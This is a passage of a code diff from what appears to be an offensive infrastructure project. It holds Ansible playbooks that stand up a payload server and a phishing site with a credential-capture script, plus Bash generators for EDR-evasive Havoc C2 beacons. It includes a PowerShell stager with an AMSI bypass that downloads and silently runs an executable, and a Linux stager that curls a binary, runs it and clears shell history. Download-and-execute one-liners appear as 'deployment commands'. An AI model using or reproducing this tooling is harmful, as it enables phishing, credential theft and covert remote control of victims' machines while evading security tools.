User=root
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
dest: /etc/systemd/system/payload-sync.service
|
||||||
|
|
||||||
|
- name: Create systemd timer
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Payload Sync Timer
|
||||||
|
Requires=payload-sync.service
|
||||||
|
|
||||||
|
[Timer]
|
||||||
|
OnBootSec=5min
|
||||||
|
OnUnitActiveSec=15min
|
||||||
|
Persistent=true
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=timers.target
|
||||||
|
dest: /etc/systemd/system/payload-sync.timer
|
||||||
|
|
||||||
|
- name: Enable and start timer
|
||||||
|
systemd:
|
||||||
|
name: payload-sync.timer
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
|
|
||||||
|
- name: Configure firewall rules
|
||||||
|
include_tasks: security_hardening.yml
|
||||||
|
vars:
|
||||||
|
server_role: "payload_redirector"
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
---
|
||||||
|
# Configure payload server for creating and hosting malicious payloads
|
||||||
|
|
||||||
|
- name: Install payload generation tools
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- mingw-w64
|
||||||
|
- golang
|
||||||
|
- python3-pip
|
||||||
|
- upx-ucl
|
||||||
|
- osslsigncode
|
||||||
|
- mono-complete
|
||||||
|
- wine64
|
||||||
|
- wine32
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create payload directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0700'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
loop:
|
||||||
|
- /root/Tools/payloads
|
||||||
|
- /root/Tools/payloads/templates
|
||||||
|
- /root/Tools/payloads/output
|
||||||
|
- /root/Tools/payloads/scripts
|
||||||
|
|
||||||
|
- name: Install Python payload tools
|
||||||
|
pip:
|
||||||
|
name:
|
||||||
|
- pycryptodome
|
||||||
|
- pyinstaller
|
||||||
|
- py2exe
|
||||||
|
state: present
|
||||||
|
|
||||||
|
- name: Clone payload generation tools
|
||||||
|
git:
|
||||||
|
repo: "{{ item.repo }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
loop:
|
||||||
|
- { repo: "https://github.com/Binject/go-donut", dest: "/root/Tools/go-donut" }
|
||||||
|
- { repo: "https://github.com/optiv/ScareCrow", dest: "/root/Tools/ScareCrow" }
|
||||||
|
- { repo: "https://github.com/TheWover/donut", dest: "/root/Tools/donut" }
|
||||||
|
|
||||||
|
- name: Build Go tools
|
||||||
|
shell: |
|
||||||
|
cd {{ item }} && go build
|
||||||
|
args:
|
||||||
|
creates: "{{ item }}/{{ item | basename }}"
|
||||||
|
loop:
|
||||||
|
- /root/Tools/go-donut
|
||||||
|
- /root/Tools/ScareCrow
|
||||||
|
|
||||||
|
- name: Deploy payload generation scripts
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0700'
|
||||||
|
loop:
|
||||||
|
- { src: "../templates/phishing/generate_doc_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_docs.sh" }
|
||||||
|
- { src: "../templates/phishing/generate_exe_payloads.sh.j2", dest: "/root/Tools/payloads/scripts/generate_exes.sh" }
|
||||||
|
- { src: "../templates/phishing/payload_obfuscator.py.j2", dest: "/root/Tools/payloads/scripts/obfuscate.py" }
|
||||||
|
|
||||||
|
- name: Create payload hosting service
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/payload-server.service.j2"
|
||||||
|
dest: /etc/systemd/system/payload-server.service
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Start payload server
|
||||||
|
systemd:
|
||||||
|
name: payload-server
|
||||||
|
state: started
|
||||||
|
enabled: yes
|
||||||
|
daemon_reload: yes
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
---
|
||||||
|
# Configure phishing web server with landing pages and credential capture
|
||||||
|
|
||||||
|
- name: Install required packages
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- php-fpm
|
||||||
|
- php-json
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create web directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
loop:
|
||||||
|
- /var/www/phishing
|
||||||
|
- /var/www/phishing/templates
|
||||||
|
- /var/www/phishing/static
|
||||||
|
- /var/www/phishing/captures
|
||||||
|
- /var/private/phishing_creds
|
||||||
|
|
||||||
|
- name: Deploy phishing templates
|
||||||
|
template:
|
||||||
|
src: "{{ item.src }}"
|
||||||
|
dest: "{{ item.dest }}"
|
||||||
|
mode: '0644'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
loop:
|
||||||
|
- { src: "../templates/phishing/phishing-landing-page.j2", dest: "/var/www/phishing/index.html" }
|
||||||
|
- { src: "../templates/phishing/email-templates/office365_login.j2", dest: "/var/www/phishing/templates/o365.html" }
|
||||||
|
- { src: "../templates/phishing/email-templates/password_expiry.j2", dest: "/var/www/phishing/templates/password.html" }
|
||||||
|
- { src: "../templates/phishing/email-templates/security_alert.j2", dest: "/var/www/phishing/templates/security.html" }
|
||||||
|
- { src: "../templates/phishing/email-templates/file_share.j2", dest: "/var/www/phishing/templates/share.html" }
|
||||||
|
|
||||||
|
- name: Deploy credential capture script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/capture.php.j2"
|
||||||
|
dest: "/var/www/phishing/capture.php"
|
||||||
|
mode: '0640'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
|
||||||
|
- name: Configure NGINX for phishing sites
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/nginx-phishing-webserver.j2"
|
||||||
|
dest: /etc/nginx/sites-available/phishing
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Enable phishing site
|
||||||
|
file:
|
||||||
|
src: /etc/nginx/sites-available/phishing
|
||||||
|
dest: /etc/nginx/sites-enabled/phishing
|
||||||
|
state: link
|
||||||
|
|
||||||
|
- name: Remove default nginx site
|
||||||
|
file:
|
||||||
|
path: /etc/nginx/sites-enabled/default
|
||||||
|
state: absent
|
||||||
|
|
||||||
|
- name: Configure PHP-FPM for security
|
||||||
|
lineinfile:
|
||||||
|
path: /etc/php/7.4/fpm/php.ini
|
||||||
|
regexp: "{{ item.regexp }}"
|
||||||
|
line: "{{ item.line }}"
|
||||||
|
loop:
|
||||||
|
- { regexp: '^expose_php', line: 'expose_php = Off' }
|
||||||
|
- { regexp: '^display_errors', line: 'display_errors = Off' }
|
||||||
|
- { regexp: '^log_errors', line: 'log_errors = On' }
|
||||||
|
|
||||||
|
- name: Restart services
|
||||||
|
systemd:
|
||||||
|
name: "{{ item }}"
|
||||||
|
state: restarted
|
||||||
|
enabled: yes
|
||||||
|
loop:
|
||||||
|
- nginx
|
||||||
|
- php7.4-fpm
|
||||||
@@ -0,0 +1,456 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# EDR-evasive beacon generator for Havoc C2
|
||||||
|
# Every deployment produces completely unique payloads
|
||||||
|
|
||||||
|
# Configuration (automatically populated by Ansible)
|
||||||
|
HAVOC_DIR="/root/Tools/Havoc"
|
||||||
|
BEACONS_DIR="/root/Tools/beacons"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||||
|
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||||
|
|
||||||
|
# Ensure required directories exist
|
||||||
|
mkdir -p $BEACONS_DIR/windows
|
||||||
|
mkdir -p $BEACONS_DIR/linux
|
||||||
|
mkdir -p $BEACONS_DIR/staged
|
||||||
|
mkdir -p $BEACONS_DIR/shellcode
|
||||||
|
|
||||||
|
# Load Havoc configuration from profile
|
||||||
|
if [ -f "$PROFILE_FILE" ]; then
|
||||||
|
echo "[+] Loading Havoc configuration from profile..."
|
||||||
|
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||||
|
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||||
|
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||||
|
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||||
|
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||||
|
else
|
||||||
|
echo "[!] Warning: Profile file not found, using default values"
|
||||||
|
TEAMSERVER_PORT=40056
|
||||||
|
ADMIN_USER="admin"
|
||||||
|
ADMIN_PASS="admin"
|
||||||
|
HTTP_PORT=8080
|
||||||
|
HTTPS_PORT=443
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generate unique random values for each execution
|
||||||
|
random_string() {
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Anti-detection function to modify binary files
|
||||||
|
modify_binary() {
|
||||||
|
local input_file=$1
|
||||||
|
|
||||||
|
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||||
|
|
||||||
|
# Create a temporary file
|
||||||
|
local temp_file="${input_file}.tmp"
|
||||||
|
cp "$input_file" "$temp_file"
|
||||||
|
|
||||||
|
# Modify the file based on its type
|
||||||
|
if file "$input_file" | grep -q "PE32"; then
|
||||||
|
# Windows EXE/DLL modifications
|
||||||
|
|
||||||
|
# Add random bytes to end of file
|
||||||
|
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||||
|
|
||||||
|
# Modify PE header timestamps with random value
|
||||||
|
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||||
|
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||||
|
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||||
|
|
||||||
|
# Try to strip debug information
|
||||||
|
if command -v strip &> /dev/null; then
|
||||||
|
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
elif file "$input_file" | grep -q "ELF"; then
|
||||||
|
# Linux ELF modifications
|
||||||
|
|
||||||
|
# Add random bytes to end of file
|
||||||
|
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||||
|
|
||||||
|
# Try to strip all symbols
|
||||||
|
if command -v strip &> /dev/null; then
|
||||||
|
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace original with modified version
|
||||||
|
mv "$temp_file" "$input_file"
|
||||||
|
|
||||||
|
echo "[+] Binary modifications complete"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create advanced Havoc payload profile with evasion techniques
|
||||||
|
generate_profile() {
|
||||||
|
local type=$1
|
||||||
|
local profile_name="${type}_profile_$(random_string 8).json"
|
||||||
|
|
||||||
|
echo "[+] Creating evasive $type profile..."
|
||||||
|
|
||||||
|
# Generate random values for this profile
|
||||||
|
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||||
|
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||||
|
|
||||||
|
if [ "$type" == "windows" ]; then
|
||||||
|
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": ${sleep_time},
|
||||||
|
"SleepJitter": ${jitter_percent},
|
||||||
|
"IndirectSyscalls": true,
|
||||||
|
"Inject": {
|
||||||
|
"AllocationMethod": $(( RANDOM % 3 )),
|
||||||
|
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||||
|
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"StackSpoofing": true,
|
||||||
|
"SleazeUnhook": true,
|
||||||
|
"AmsiEtwPatching": true,
|
||||||
|
"SyscallMethod": $(( RANDOM % 3 )),
|
||||||
|
"EnableSleepMask": true,
|
||||||
|
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||||
|
},
|
||||||
|
"Binary": {
|
||||||
|
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
elif [ "$type" == "linux" ]; then
|
||||||
|
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": ${sleep_time},
|
||||||
|
"SleepJitter": ${jitter_percent},
|
||||||
|
"Injection": {
|
||||||
|
"SpawnMethod": $(( RANDOM % 2 )),
|
||||||
|
"AllocationMethod": $(( RANDOM % 2 ))
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"EnableSleepMask": true,
|
||||||
|
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "$profile_name"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate Havoc payloads with EDR evasion techniques
|
||||||
|
generate_payloads() {
|
||||||
|
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||||
|
|
||||||
|
# Windows EXE
|
||||||
|
win_profile=$(generate_profile "windows")
|
||||||
|
win_output="update_win_$(random_string 8).exe"
|
||||||
|
echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
|
||||||
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$win_profile" \
|
||||||
|
--format exe \
|
||||||
|
--output "$BEACONS_DIR/windows/$win_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/windows/$win_output"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Windows DLL
|
||||||
|
dll_profile=$(generate_profile "windows")
|
||||||
|
dll_output="module_$(random_string 8).dll"
|
||||||
|
echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
|
||||||
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$dll_profile" \
|
||||||
|
--format dll \
|
||||||
|
--output "$BEACONS_DIR/windows/$dll_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/windows/$dll_output"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Linux binary
|
||||||
|
linux_profile=$(generate_profile "linux")
|
||||||
|
linux_output="update_linux_$(random_string 8)"
|
||||||
|
echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
|
||||||
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$linux_profile" \
|
||||||
|
--format elf \
|
||||||
|
--output "$BEACONS_DIR/linux/$linux_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
# Apply custom binary modifications
|
||||||
|
if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
|
||||||
|
modify_binary "$BEACONS_DIR/linux/$linux_output"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Windows shellcode (staged payload)
|
||||||
|
shellcode_profile=$(generate_profile "windows")
|
||||||
|
shellcode_output="shellcode_$(random_string 8).bin"
|
||||||
|
echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
|
||||||
|
|
||||||
|
$HAVOC_DIR/Client/havoc headless \
|
||||||
|
--teamserver "127.0.0.1:$TEAMSERVER_PORT" \
|
||||||
|
--username "$ADMIN_USER" \
|
||||||
|
--password "$ADMIN_PASS" \
|
||||||
|
--daemon \
|
||||||
|
--generate payload \
|
||||||
|
--listener "https" \
|
||||||
|
--config "$BEACONS_DIR/$shellcode_profile" \
|
||||||
|
--format shellcode \
|
||||||
|
--output "$BEACONS_DIR/shellcode/$shellcode_output" \
|
||||||
|
> /dev/null 2>&1
|
||||||
|
|
||||||
|
echo "[+] All payloads generated successfully!"
|
||||||
|
|
||||||
|
# Return payload information
|
||||||
|
echo "$win_output:$dll_output:$linux_output:$shellcode_output"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate PowerShell and bash stagers
|
||||||
|
generate_stagers() {
|
||||||
|
win_output=$1
|
||||||
|
linux_output=$2
|
||||||
|
|
||||||
|
echo "[+] Generating evasive stagers..."
|
||||||
|
|
||||||
|
# Create PowerShell stager directory
|
||||||
|
mkdir -p $BEACONS_DIR/stagers
|
||||||
|
|
||||||
|
# PowerShell stager with AMSI bypass and obfuscation
|
||||||
|
cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
|
||||||
|
# PowerShell stager for Havoc C2 with AMSI bypass
|
||||||
|
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||||
|
|
||||||
|
# AMSI Bypass
|
||||||
|
function Bypass-AMSI {
|
||||||
|
$a = [Ref].Assembly.GetTypes()
|
||||||
|
ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
|
||||||
|
$d = $c.GetFields('NonPublic,Static')
|
||||||
|
ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
|
||||||
|
$g = $f.GetValue($null)
|
||||||
|
[IntPtr]$ptr = $g
|
||||||
|
[Int32[]]$buf = @(0)
|
||||||
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Try to bypass AMSI
|
||||||
|
try { Bypass-AMSI } catch {}
|
||||||
|
|
||||||
|
# Randomize variables for evasion
|
||||||
|
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
|
||||||
|
|
||||||
|
# Error handling with obfuscation
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
$wc = New-Object System.Net.WebClient
|
||||||
|
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||||
|
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||||
|
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")
|
||||||
|
|
||||||
|
# Split URL to avoid detection
|
||||||
|
$r1 = "https://"
|
||||||
|
$r2 = "REDIRECTOR_HOST"
|
||||||
|
$r3 = "/content/windows/WINDOWS_EXE"
|
||||||
|
$url = $r1 + $r2 + $r3
|
||||||
|
|
||||||
|
# Download with jitter
|
||||||
|
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
|
||||||
|
try {
|
||||||
|
$wc.DownloadFile($url, $outpath)
|
||||||
|
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||||
|
|
||||||
|
# Start process with extra obfuscation
|
||||||
|
$p = New-Object System.Diagnostics.Process
|
||||||
|
$p.StartInfo.FileName = $outpath
|
||||||
|
$p.StartInfo.WindowStyle = 'Hidden'
|
||||||
|
$p.StartInfo.CreateNoWindow = $true
|
||||||
|
$p.Start()
|
||||||
|
|
||||||
|
} catch {
|
||||||
|
# Fail silently
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Replace placeholder values in PowerShell stager
|
||||||
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||||
|
sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1
|
||||||
|
|
||||||
|
# Bash stager with obfuscation techniques
|
||||||
|
cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
|
||||||
|
#!/bin/bash
|
||||||
|
# Linux download and execute Havoc beacon with EDR evasion
|
||||||
|
|
||||||
|
# Function obfuscation
|
||||||
|
function x() {
|
||||||
|
command -v "$1" > /dev/null 2>&1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random temp filename
|
||||||
|
r() {
|
||||||
|
head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Randomize variables
|
||||||
|
TMPVAR=$(r)
|
||||||
|
TMPFILE="/tmp/.${TMPVAR}"
|
||||||
|
|
||||||
|
# Check which download tool is available
|
||||||
|
if x curl; then
|
||||||
|
# Split URL to avoid signature detection
|
||||||
|
p1="https://"
|
||||||
|
p2="REDIRECTOR_HOST"
|
||||||
|
p3="/content/linux/LINUX_BINARY"
|
||||||
|
url="${p1}${p2}${p3}"
|
||||||
|
# Add random sleep between operations
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
curl -s -o "$TMPFILE" "$url"
|
||||||
|
elif x wget; then
|
||||||
|
p1="https://"
|
||||||
|
p2="REDIRECTOR_HOST"
|
||||||
|
p3="/content/linux/LINUX_BINARY"
|
||||||
|
url="${p1}${p2}${p3}"
|
||||||
|
# Add random sleep between operations
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
wget -q -O "$TMPFILE" "$url"
|
||||||
|
else
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Make executable and run in background
|
||||||
|
chmod +x "$TMPFILE"
|
||||||
|
# Add random sleep before execution
|
||||||
|
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
|
||||||
|
("$TMPFILE" > /dev/null 2>&1 &)
|
||||||
|
|
||||||
|
# Clean up command history if possible
|
||||||
|
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
|
||||||
|
history -c 2>/dev/null
|
||||||
|
|
||||||
|
echo "Update complete."
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Replace placeholder values in Bash stager
|
||||||
|
sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
chmod +x $BEACONS_DIR/stagers/linux_stager.sh
|
||||||
|
|
||||||
|
echo "[+] Stagers created successfully"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create manifest file
|
||||||
|
create_manifest() {
|
||||||
|
local payload_info=$1
|
||||||
|
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||||
|
|
||||||
|
echo "[+] Creating manifest file..."
|
||||||
|
cat > $BEACONS_DIR/manifest.json << EOF
|
||||||
|
{
|
||||||
|
"windows_exe": "$win_output",
|
||||||
|
"windows_dll": "$dll_output",
|
||||||
|
"linux_binary": "$linux_output",
|
||||||
|
"windows_shellcode": "$shellcode_output",
|
||||||
|
"redirector_host": "$REDIRECTOR_HOST",
|
||||||
|
"redirector_port": "$REDIRECTOR_PORT",
|
||||||
|
"c2_host": "$C2_HOST",
|
||||||
|
"havoc_teamserver_port": "$TEAMSERVER_PORT",
|
||||||
|
"havoc_http_port": "$HTTP_PORT",
|
||||||
|
"havoc_https_port": "$HTTPS_PORT",
|
||||||
|
"generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create reference file
|
||||||
|
create_reference() {
|
||||||
|
local payload_info=$1
|
||||||
|
local win_output=$(echo $payload_info | cut -d':' -f1)
|
||||||
|
local dll_output=$(echo $payload_info | cut -d':' -f2)
|
||||||
|
local linux_output=$(echo $payload_info | cut -d':' -f3)
|
||||||
|
local shellcode_output=$(echo $payload_info | cut -d':' -f4)
|
||||||
|
|
||||||
|
echo "[+] Creating reference file..."
|
||||||
|
cat > $BEACONS_DIR/reference.txt << EOF
|
||||||
|
Havoc C2 Server Details:
|
||||||
|
- C2 IP: $C2_HOST
|
||||||
|
- Redirector Domain: $REDIRECTOR_HOST
|
||||||
|
- Teamserver Port: $TEAMSERVER_PORT
|
||||||
|
- Admin User: $ADMIN_USER
|
||||||
|
- Admin Password: $ADMIN_PASS
|
||||||
|
|
||||||
|
Beacons Generated ($(date)):
|
||||||
|
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
|
||||||
|
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
|
||||||
|
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
|
||||||
|
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)
|
||||||
|
|
||||||
|
Deployment Commands:
|
||||||
|
- PowerShell:
|
||||||
|
powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
|
||||||
|
|
||||||
|
- Linux:
|
||||||
|
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
|
||||||
|
|
||||||
|
Anti-Detection Features Enabled:
|
||||||
|
- Binary signature randomization
|
||||||
|
- PE/ELF header manipulation
|
||||||
|
- Sleep mask obfuscation
|
||||||
|
- AMSI bypass in stagers
|
||||||
|
- EDR unhooking
|
||||||
|
- Indirect syscalls
|
||||||
|
- Random sleep/jitter timing
|
||||||
|
EOF
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main execution flow
|
||||||
|
echo "[+] Starting EDR-evasive Havoc beacon generation..."
|
||||||
|
echo "[+] Redirector: $REDIRECTOR_HOST"
|
||||||
|
echo "[+] C2 Host: $C2_HOST"
|
||||||
|
|
||||||
|
# Generate payloads
|
||||||
|
payload_info=$(generate_payloads)
|
||||||
|
|
||||||
|
# Generate stagers
|
||||||
|
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
|
||||||
|
|
||||||
|
# Create manifest file
|
||||||
|
create_manifest "$payload_info"
|
||||||
|
|
||||||
|
# Create reference file
|
||||||
|
create_reference "$payload_info"
|
||||||
|
|
||||||
|
echo "[+] EDR-evasive beacon generation complete!"
|
||||||
@@ -0,0 +1,260 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# EDR-evasive payload generator for Havoc C2
|
||||||
|
|
||||||
|
# Configuration (automatically populated by Ansible)
|
||||||
|
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
|
||||||
|
C2_HOST="{{ ansible_host }}"
|
||||||
|
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||||
|
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
|
||||||
|
TEAMSERVER_HOST="127.0.0.1"
|
||||||
|
TEAMSERVER_PORT="40056"
|
||||||
|
HAVOC_DIR="/root/Tools/Havoc"
|
||||||
|
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"
|
||||||
|
|
||||||
|
# Ensure required directories exist
|
||||||
|
mkdir -p $PAYLOADS_DIR/windows
|
||||||
|
mkdir -p $PAYLOADS_DIR/linux
|
||||||
|
mkdir -p $PAYLOADS_DIR/staged
|
||||||
|
|
||||||
|
# Generate unique random values for each execution
|
||||||
|
random_string() {
|
||||||
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# Define Havoc profiles for different payloads
|
||||||
|
generate_profiles() {
|
||||||
|
echo "[+] Generating Havoc C2 profiles..."
|
||||||
|
|
||||||
|
# Profile for Windows EXE
|
||||||
|
cat > $PAYLOADS_DIR/win_exe.profile << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
